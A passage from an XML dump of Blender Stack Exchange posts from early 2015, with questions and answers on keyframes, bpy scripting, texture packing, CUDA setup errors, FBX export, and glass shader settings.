BY-SA 3.0" />
  <row Id="24235" PostTypeId="2" ParentId="24232" CreationDate="2015-02-04T22:17:14.403" Score="1" Body="&lt;p&gt;Both &lt;em&gt;Dopesheet&lt;/em&gt; and &lt;em&gt;Graph Editor&lt;/em&gt; show keyframes of all &lt;strong&gt;&lt;em&gt;selected&lt;/em&gt;&lt;/strong&gt; objects, you can box select &lt;kbd&gt;B&lt;/kbd&gt; the keyframes and scale them, &lt;kbd&gt;S&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lJyZQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-04T22:17:14.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24238" PostTypeId="2" ParentId="24170" CreationDate="2015-02-05T00:00:04.910" Score="5" Body="&lt;p&gt;&lt;code&gt;vertex_groups&lt;/code&gt; method &lt;code&gt;.add()&lt;/code&gt; first argument is a list of vertices index, I  &lt;em&gt;group&lt;/em&gt; my input to reduce the calls to &lt;code&gt;add&lt;/code&gt; to the minimum necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: my input weights are stored in unsigned bytes (0-255).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First with a dict &lt;code&gt;{grpID: ...}&lt;/code&gt; then another dict as value for weights &lt;code&gt;{grpId: {weight: ...}}&lt;/code&gt;, finally the list of vertices id &lt;code&gt;{grpId: {weight: [vxId, ...]}}&lt;/code&gt;, at this point the code is quite simple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        weights = myGetWeights()&#xA;        for grpId, wv in weights.items():&#xA;            grpName = &quot;Bone_&quot;+str(grpId).zfill(3)&#xA;            ob.vertex_groups.new(grpName)&#xA;            for weight, vxIdList  in wv.items():&#xA;                ob.vertex_groups[grpName].add(vxIdList, 1.0 / 255 * weight, 'REPLACE')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1155" LastActivityDate="2015-02-05T00:00:04.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24239" PostTypeId="1" CreationDate="2015-02-05T01:06:53.483" Score="0" ViewCount="4998" Body="&lt;p&gt;Ok, I have fully colored/textured a pretty decently sized hatchet I made in blender a few times now and each time I saved and closed my blender. When I reopen the blender file it is completely unpainted.... Being very frustrated what am I doing wrong? I've tried saving the image of the texture but it keeps telling me &quot;invalid path:&quot; and I can't see the rest of the error message. I think my problem is that I'm saving the blend but not the texture mapping thing. (sorry don't know the correct terminology for everything) &lt;/p&gt;&#xA;" OwnerUserId="11403" LastActivityDate="2015-02-05T01:14:34.857" Title="How to save texture?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-02-05T03:08:12.827" ContentLicense="CC BY-SA 3.0" />
  <row Id="24240" PostTypeId="2" ParentId="24239" CreationDate="2015-02-05T01:14:34.857" Score="1" Body="&lt;p&gt;Try this: press spacebar and then type &quot;Pack.&quot; Select &quot;Pack all into .blend&quot;. See if that works. That will copy all the source files blender uses (in this instance: texture images) into the .blend file. I don't entirely know if it will work, but I hope it will.&lt;/p&gt;&#xA;" OwnerUserId="10911" LastActivityDate="2015-02-05T01:14:34.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24241" PostTypeId="1" CreationDate="2015-02-05T02:42:17.220" Score="1" ViewCount="703" Body="&lt;p&gt;I have a mesh that I have created using data that I have. I have managed to load this mesh into blender using bpy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can iterate through all the polygons using something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for poly in mesh.polygons:&#xA;    for idx in poly.loop_indices:&#xA;        print(idx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what I really want is an index to the vertex for each polygon, so I can set a specific color from another file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8425" LastEditorUserId="12" LastEditDate="2015-02-05T03:10:57.053" LastActivityDate="2015-02-05T03:10:57.053" Title="How to iterate through the vertices in a polygonal mesh?" Tags="&lt;python&gt;&lt;mesh&gt;&lt;vertices&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24242" PostTypeId="2" ParentId="24213" CreationDate="2015-02-05T03:38:50.380" Score="4" Body="&lt;p&gt;You could try blurring the background with a defocus node controlled with a mist pass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set your camera to display mist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PuhSz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable mist on the render pass control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/90Bxr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adjust the mist distance so it starts close to your camera and ends roughly in the area you want to blur.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tmoSE.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the compositor set the mist pass trough a color ramp node and use that to control the defocusing of the background. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PPW6V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you move the sliders on the color ramp you can determine at what distance things start to blur, black will remain in focus, white is where the blur will start. The blur amount is determined by the defocus node max blur settings and the threshold values.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-04-14T19:14:03.513" LastActivityDate="2015-04-14T19:14:03.513" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24243" PostTypeId="1" CreationDate="2015-02-05T04:18:24.540" Score="0" ViewCount="427" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://pyroevil.com/category/scripts-addons/molecular-script/&quot; rel=&quot;nofollow&quot;&gt;PyroEvil&lt;/a&gt;'s molecular addon to have a bunch of particles collide with each other and the environment. However, I also have some other objects in the environment which I'd like to get to react with the particles (e.g. plates, cups, food)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could create another few particle systems and make each object another particle, but Blender's particle system only supports spherical particles and the collision would look absurd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how can I make molecular particles collide with irregularly-shaped objects and have them move about?&lt;/p&gt;&#xA;" OwnerUserId="7806" LastActivityDate="2015-02-05T04:18:24.540" Title="Irregularly-shaped rigid bodies and molecular particles?" Tags="&lt;particles&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24244" PostTypeId="1" CreationDate="2015-02-05T05:07:24.920" Score="0" ViewCount="1020" Body="&lt;p&gt;I've been happily using CUDA with cycles for a while now - set &lt;code&gt;Cycles Renderer&lt;/code&gt; up top, then &lt;code&gt;File-&amp;gt;User Preferences-&amp;gt;System-&amp;gt;Compute Device=CUDA&lt;/code&gt; and in &lt;code&gt;Preferences&lt;/code&gt;(bottom right panel)&lt;code&gt;-&amp;gt; Render tab-&amp;gt;Render section-&amp;gt;Device=GPU Compute&lt;/code&gt;. Can then &lt;code&gt;shift-z&lt;/code&gt; to use cycles to render the preview in addition to just rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But firing it up today results in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unsupported CUDA version 5.0 detected, you need CUDA 6.5.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is strange, because:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; ls -la /usr/local/&#xA;cuda-5.0&#xA;cuda-6.0&#xA;cuda-6.5&#xA;cuda -&amp;gt; /usr/local/cuda-6.5&#xA;&#xA;&amp;gt; export | grep -i cuda&#xA;declare -x CUDA_HOME=&quot;/usr/local/cuda&quot;&#xA;declare -x LD_LIBRARY_PATH=&quot;/usr/local/cuda/lib64&quot;&#xA;declare -x PATH=&quot;/usr/local/cuda/bin:...&quot;&#xA;&#xA;&amp;gt; nvcc --version&#xA;nvcc: NVIDIA (R) Cuda compiler driver&#xA;Copyright (c) 2005-2014 NVIDIA Corporation&#xA;Built on Thu_Jul_17_21:41:27_CDT_2014&#xA;Cuda compilation tools, release 6.5, V6.5.12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I can see my environment is already set for 6.5. I get the same for both the Fedora 21 package (2.72) and one I compiled from the source (2.73). How is blender finding the older version? I suspect I've done something to mess up my environment but can't find what it is. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;strace&lt;/code&gt; shows blender goes straight to the &lt;code&gt;cuda-5.0&lt;/code&gt; directory, perhaps due to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; grep &quot;/usr/local/cuda-5.0/&quot; /usr/bin/blender&#xA;Binary file /usr/bin/blender matches&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reinstalling cuda-6.5 didn't fix it, but it did break my permissions, so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo chmod -R o+rX /usr/local/cuda-6.5/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have recently updated to nvidia driver 346.35, maybe that did something to my environment. Either way it seems like blender first looks in &#xA;&lt;code&gt;/usr/local/cuda-5.0/bin/&lt;/code&gt; for &lt;code&gt;nvcc&lt;/code&gt; and then &lt;code&gt;/usr/local/cuda/bin/&lt;/code&gt; (this seems like a bug to me). If it finds cuda 6.5 first, either via simlinking &lt;code&gt;cuda-5.0&lt;/code&gt; to &lt;code&gt;cuda-6.5&lt;/code&gt; or moving/renaming the directory, I get hit with this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Compiling CUDA kernel ...&#xA;&quot;/usr/local/cuda/bin/nvcc&quot; -arch=sm_52 ...&#xA;nvcc fatal   : Value 'sm_52' is not defined for option 'gpu-architecture'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Similar blender error mentioned &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?344678-nvcc-fatal-Value-sm_50-is-not-defined-for-option-gpu-architecture&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?259605-nvcc-fatal-Value-sm_30-is-not-defined-for-option-gpu-architecture&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, and theano error &lt;a href=&quot;https://groups.google.com/forum/#!topic/theano-users/Qjq4I_Q6SHA&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. I have just moved from a gtx titan to a 980. Maybe that's related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Yes, it's the new card. Going back to the titan works just fine. Surprised others don't have similar issues with the 980.&lt;/p&gt;&#xA;" OwnerUserId="1713" LastEditorUserId="1713" LastEditDate="2015-02-19T06:38:48.960" LastActivityDate="2015-02-19T06:38:48.960" Title="Unsupported CUDA version 5.0 detected, you need CUDA 6.5" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24245" PostTypeId="1" AcceptedAnswerId="24318" CreationDate="2015-02-05T07:09:25.193" Score="2" ViewCount="736" Body="&lt;p&gt;I've been using Blender on and off for a little while and have recently started trying to use it more for exporting FBX models for use in games. One of the problems I've hit is that I'm not quite sure what the object naming format is and if there are limitations.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Are there any characters I can't use in an object name?&lt;/li&gt;&#xA;&lt;li&gt;What is the maximum name length (if any)?&lt;/li&gt;&#xA;&lt;li&gt;Is it possible to have multiple objects with the same name?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="328" LastEditorUserId="328" LastEditDate="2015-02-05T08:50:33.767" LastActivityDate="2015-02-06T15:52:30.670" Title="What is the format for object names in Blender and are there any limitations?" Tags="&lt;objects&gt;&lt;outliner&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24246" PostTypeId="2" ParentId="24244" CreationDate="2015-02-05T08:08:18.170" Score="1" Body="&lt;p&gt;As your &lt;code&gt;/usr/local/&lt;/code&gt; directory shows you have installed multiple versions of CUDA (&lt;code&gt;/usr/bin/nvidia-uninstall&lt;/code&gt; would only uninstall the last one). When upgrading I had first to uninstall all CUDA files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://docs.nvidia.com/cuda/cuda-getting-started-guide-for-linux/index.html#pre-installation-actions&quot; rel=&quot;nofollow&quot;&gt;pre-installation-actions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the following command to uninstall a Toolkit runfile installation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo /usr/local/cuda-X.Y/bin/uninstall_cuda_X.Y.pl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use the following command to uninstall a Driver runfile installation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo /usr/bin/nvidia-uninstall&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use the following commands to uninstall a RPM/Deb installation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt-get --purge remove &amp;lt;package_name&amp;gt;          # Ubuntu&#xA;$ sudo yum remove &amp;lt;package_name&amp;gt;                      # Fedora/Redhat/CentOS&#xA;$ sudo zypper remove &amp;lt;package_name&amp;gt;                   # OpenSUSE/SLES&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check for remaining packages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ dpkg -l&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and remove them also. After a re-install of the most recent version should work.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-05T08:08:18.170" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24248" PostTypeId="2" ParentId="7160" CreationDate="2015-02-05T09:20:39.460" Score="17" Body="&lt;p&gt;to delete all materials:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;for material in bpy.data.materials:&#xA;    material.user_clear()&#xA;    bpy.data.materials.remove(material)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8109" LastEditorUserId="15543" LastEditDate="2018-09-21T17:53:58.170" LastActivityDate="2018-09-21T17:53:58.170" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24249" PostTypeId="1" AcceptedAnswerId="50518" CreationDate="2015-02-05T10:23:08.390" Score="2" ViewCount="1978" Body="&lt;p&gt;I frequently have to export models in Blender to .fbx files for a Unity game I'm working on, and although the models are coming out OK, Unity always creates .fbm folders when the models get imported. Models exported from Maya also have this problem unless you go into the FBX options and disable &quot;embed media&quot;. Blender 2.74 has an option to embed textures in fbx files (which is presumably the same thing as &quot;embed media&quot;), but even though this is disabled by default, I still get .fbm folders being created when models are imported by Unity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, this wouldn't be a big deal, but the folders get created on the system of everbody working on the game, and because Mercurial/GIT ignore empty folders, and Unity creates .meta files for empty folders, cleaning up the mess gets way more annoying than it needs to be and that's why I would really love a solution to this problem.&lt;/p&gt;&#xA;" OwnerUserId="328" LastEditorUserId="328" LastEditDate="2015-05-08T01:46:31.253" LastActivityDate="2016-11-08T08:58:00.313" Title="Is there a way to prevent Blender from creating .fbm folders when exporting to .fbx?" Tags="&lt;export&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24250" PostTypeId="1" CreationDate="2015-02-05T10:40:47.690" Score="2" ViewCount="1606" Body="&lt;p&gt;I am using blender 2.73 and I want the model to be opaque/solid in the viewport instead of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yBRW7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can do this by using limit selection to visible but it doesn't work in orthographic perspective. It works in user perspective however. Is there something I can do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried moving the object into a new blend file but the problem persisted.&lt;/p&gt;&#xA;" OwnerUserId="11410" LastActivityDate="2018-04-26T08:35:17.990" Title="Limit selection to visible not working in orthographic perspective" Tags="&lt;selection-tools&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24251" PostTypeId="1" AcceptedAnswerId="24270" CreationDate="2015-02-05T10:48:37.413" Score="14" ViewCount="5214" Body="&lt;p&gt;I want to create a motion trail effect for a sword like known in games look at that example if you have an solution that looks not as fancy as in the picture don't mind to post it. I'll accept anything useful. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZSocf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="3710" LastEditDate="2015-02-06T13:39:27.700" LastActivityDate="2016-02-21T17:03:21.830" Title="How to create Motion Trail in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24252" PostTypeId="2" ParentId="24250" CreationDate="2015-02-05T10:53:56.470" Score="4" Body="&lt;p&gt;I reduced the clipping distance down from 1000000 to the default 1000 and scaled down the model and it solved the problem. &lt;/p&gt;&#xA;" OwnerUserId="11410" LastActivityDate="2015-02-05T10:53:56.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24253" PostTypeId="1" CreationDate="2015-02-05T11:08:59.087" Score="1" ViewCount="264" Body="&lt;p&gt;I have a setup like this: &lt;img src=&quot;https://i.stack.imgur.com/0M3oN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My task is to create three types of motions: rotate each piece individually, rotate the whole thing, and an explosion type of motion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been unable to figure out how to do the last one, ie. all the pieces would move away from the center one (the one in the very middle, not the selected one). How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case what I'm asking is unclear, I've impemented this in opengl before &lt;a href=&quot;http://robus.info/private/opengl.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; - press '1' on the keyboard once, and it will do what I'm trying to achieve in blender.&lt;/p&gt;&#xA;" OwnerUserId="11409" LastActivityDate="2015-02-05T17:25:08.123" Title="Blender game - explosion type motion" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24254" PostTypeId="1" CreationDate="2015-02-05T11:10:34.700" Score="0" ViewCount="68" Body="&lt;p&gt;I imported a rigged model to blender, I can see bones under the armature, but how can I know the number of joints that the model has&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EeOgy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11305" LastEditorUserId="5426" LastEditDate="2015-06-25T14:10:03.403" LastActivityDate="2015-06-25T14:10:03.403" Title="how can i get number of joints in a rig" Tags="&lt;mesh&gt;&lt;rigging&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24255" PostTypeId="1" CreationDate="2015-02-05T12:12:49.603" Score="2" ViewCount="1683" Body="&lt;p&gt;There is an incredible wealth of 3D models available on Google's 3D Warehouse. Unfortunately these models come in Sketchup format. I have read a lot of tutorials on this, and everybody seems to praise Blender's Collada integration. &#xA;However, I still get very mixed results when using Collada export to transfer the models:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;pieces are missing&lt;/li&gt;&#xA;&lt;li&gt;objects are combinations of hundreds of meshes, spread randomly throughout the outliner, grouped in non-logical groups&lt;/li&gt;&#xA;&lt;li&gt;scaling is almost always wrong&lt;/li&gt;&#xA;&lt;li&gt;when going into edit mode, the triangulation is all wrong so no UV unwrap possible (I have read on this forum that this is inherent to the ways Sketchup works)&lt;/li&gt;&#xA;&lt;li&gt;materials are never exported in the right way&lt;/li&gt;&#xA;&lt;li&gt;I have tried every possible combination of the Sketchup export options but no success so far when using .dae&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My question: Is this because not all 3D warehouse models are made by professionals? Am I doing something wrong? Is there something superior to Collada to export (via Autodesk files?) I thought that inter program compatibility was the whole point of Collada...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks very much.&#xA;Some examples below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2v7P1.png&quot; alt=&quot;Very simple mesh object imported, this is the Outliner view&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/885IV.png&quot; alt=&quot;Missing components, weird empties and dotted lines&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9510" LastEditorUserId="2217" LastEditDate="2015-02-05T14:20:22.583" LastActivityDate="2015-02-05T14:20:22.583" Title="Using 3D Warehouse models in Blender (Sketchup - Collada - Import)" Tags="&lt;import&gt;&lt;file-format&gt;&lt;collada&gt;&lt;outliner&gt;&lt;compatibility&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24256" PostTypeId="1" CreationDate="2015-02-05T12:13:51.143" Score="11" ViewCount="5112" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5XOxv.jpg&quot; alt=&quot;example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a material node setup, which makes it possible to create plastic objects like this. I'm mainly interested in the shiny edges. The glass node is nearest but not perfect.&lt;/p&gt;&#xA;" OwnerUserId="11413" LastEditorUserId="3710" LastEditDate="2015-02-06T13:33:08.437" LastActivityDate="2016-02-02T12:20:39.183" Title="Node setup for realistic transparent plastic" Tags="&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24257" PostTypeId="1" AcceptedAnswerId="24259" CreationDate="2015-02-05T12:22:10.470" Score="3" ViewCount="616" Body="&lt;p&gt;How can I fast make circular wall in mesh, which I've made using curve and Knife project tool?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8TogM.png&quot; alt=&quot;Illustration&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11412" LastEditorUserId="2217" LastEditDate="2015-06-01T23:45:45.003" LastActivityDate="2015-06-01T23:47:31.117" Title="Fill gap after circular cut" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24258" PostTypeId="2" ParentId="24226" CreationDate="2015-02-05T12:23:41.363" Score="5" Body="&lt;p&gt;No this is not currently possible. There is some development happening with the grease pencil now so this may change in future versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After drawing a grease pencil stroke you can convert it to a curve object. This can be found in the grease pencil toolbar options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ESY0S.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will convert the one active grease pencil layer to a curve object. The drawback is you loose any of the new fill settings and you need to bevel the curve and give it a material. Once you have the curve you can parent and duplicate as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the example you give I would draw a tree on an image and use the image as a texture on a plane.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-05T12:23:41.363" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24259" PostTypeId="2" ParentId="24257" CreationDate="2015-02-05T12:34:17.267" Score="6" Body="&lt;p&gt;The easiest way is to use the 'Bridge Edge Loops' tool in the specials menu, accessed by &lt;kbd&gt;W&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the edges around your holes on both sides of the mesh (click to select an edge whilst holding &lt;kbd&gt;Alt&lt;/kbd&gt; to select edge loops).&lt;/li&gt;&#xA;&lt;li&gt;Open the specials menu &lt;kbd&gt;W&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;&lt;em&gt;Bridge Edge Loops&lt;/em&gt;&quot; and you should end up with the result you desire.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FLXQ0.gif&quot; alt=&quot;Bridge Edge Loops process&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could simply use a boolean modifier with a cylinder. This will automatically create the internal faces.&lt;/p&gt;&#xA;" OwnerUserId="328" LastEditorUserId="2217" LastEditDate="2015-06-01T23:47:31.117" LastActivityDate="2015-06-01T23:47:31.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24260" PostTypeId="2" ParentId="24228" CreationDate="2015-02-05T12:58:46.897" Score="2" Body="&lt;p&gt;There currently appears to be no way to have one material with different settings for each object using it. While an object knows what materials it uses, a material has no link back to the object using it, as a single material may be used by many objects there is also the trouble of choosing which object is currently active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see two ways to tackle your problem, one material for each object or a range of materials to be shared across objects. I think a range of materials with varying emission strengths could be generated and one chosen as each object is created. I'm not sure of the range of values in your data, but expect that emission values could be averaged out a bit so that magnitudes within a range could use the same material.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if magnitude &amp;gt;= 100 and magnitude &amp;lt; 200&#xA;    obj.material_slots[0] = bpy.data.materials['mag150']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-05T12:58:46.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24261" PostTypeId="2" ParentId="24256" CreationDate="2015-02-05T13:07:52.940" Score="16" Body="&lt;p&gt;The problem with this kind of model is that the light needs to bounce around inside the glass many times to reach the edges and create the shiny edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A glass shader is what you need, but you also need to crank the number of Glossy bounces way up. See this comparison with the default number of Glossy Bounces (top) vs. the maximum number of Glossy Bounces (bottom):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TQrU1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I also increased the total maximum number of bounces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the bottom image there is much more edge glow, however the rendering time has also increased by almost 70%. For larger models this effect will probably be even stronger since the light will bounce inside the glass for a longer time.&lt;br&gt;Be aware that if your model is so large or complicated that the light will need more than 1024 bounces to reach an edge you will not get shiny edges there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model I used in my example is just a scaled cube with a simple glass shader and an emission shader on one of the faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lairA.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/E6Iru.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1:&lt;/strong&gt;&lt;br&gt;&#xA;Make sure the color of your glass shader is set to (almost) white. Otherwise every bounce will darken the reflected light and there won't be much left for shiny edges. Unfortunatly the default color of the glass shader is grey and the light will not bounce for long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt;&lt;br&gt;&#xA;Here is another small test scene:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MkwqW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I gave the edges a slight roughness and used a texture for the displacement of the surface. You can download the .blend file as reference.&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/954/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=954&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="-1" 